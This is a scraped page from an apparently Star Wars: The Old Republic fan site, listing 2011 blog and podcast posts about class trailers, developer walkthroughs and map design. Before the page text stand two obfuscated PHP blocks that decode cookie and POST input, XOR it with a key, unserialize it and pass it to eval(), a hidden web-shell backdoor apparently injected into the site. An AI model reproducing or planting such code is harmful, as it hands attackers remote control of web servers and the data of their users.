$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Friday Update – Page 3 – Corellian Run Radio
Aug 052011
 

 

by Mark Pajor (follow @mpajor on Twitter)

It’s a big day for the eighth of Old Republic fans who plan on playing the Jedi Consular. Now that they’ve waited in excruciating pain every time the other seven class videos went up on the site, they find that the wait’s been worth it. In my opinion, the Consular class trailer is one of the best that Bioware’s made (but maybe that’s because the Consular fits my personality more than the Knight). It highlights the calm strength of the Consular both in combat and glimpses of story points, with narration that seems a bit less cheesy than the ones for some of the other classes. Continue reading »

Jul 292011
 

 

by Mark Pajor (follow @mpajor on twitter)

 

Developer walkthroughs. The videos that, above all the rest, make me feel like I’m almost playing the game. These are what keep my interest and anticipation at unprecedented levels for any game out there. Today’s Esseles walkthrough doesn’t disappoint, and it shows far more excitement in the interactive cinematics than any of its predecessors.

Continue reading »

Jul 152011
 

 

by Mark Pajor (@mpajor on Twitter)

It’s amazing how strong an effect some music and moving words can have. The opening text crawl has been a hallmark of Star Wars since the space opera’s very beginning, and nothing can give you the blissful, excited feel of the original movies like John Williams and yellow text. Fortunately, we’ll get that same feel from all eight classes in the game, explained in today’s Fan Friday update.

Continue reading »

Jul 112011
 

I Can Haz Day/Night?

Discuss this episode on the forums here.

Roxanne is sick this week, but we have JJ from TOROcast to fill the third seat and make sure we never go under an hour!  We’re feeling feisty this week and we have several lively debates on everything from how much you need to know about the game before the game, whether companions should be money-making machines, and whether day/night cycles are necessary in MMOs.

FACT OR FICTION: Can you pick out the confirmed fact from the tall tales? This week’s host challenge involves the beta testing invites. Continue reading »

Jul 082011
 

Strange. My map says these ARE the droids I’m looking for.

 

by Mark Pajor (@mpajor on Twitter)

 

If you’re too proud to ask for directions, don’t worry. Damion Schubert, Principal Lead Systems Designer for The Old Republic, thinks maps are a pretty big deal.
Make sure to read the full update if you want to know how map design works, but here are some key points that directly affect the players:
– The map clearly marks locations for mission offers, objectives, and more.
– “Breadcrumbing” shows you where to exit to objectives not on your current map, similar to what you see in games like The Elder Scrolls IV: Oblivion and Dragon Age II.
– When you move with your map open, it becomes transparent so you can use both the map and the main screen to navigate.
– Mission objectives for party members are indicated on your map. Continue reading »

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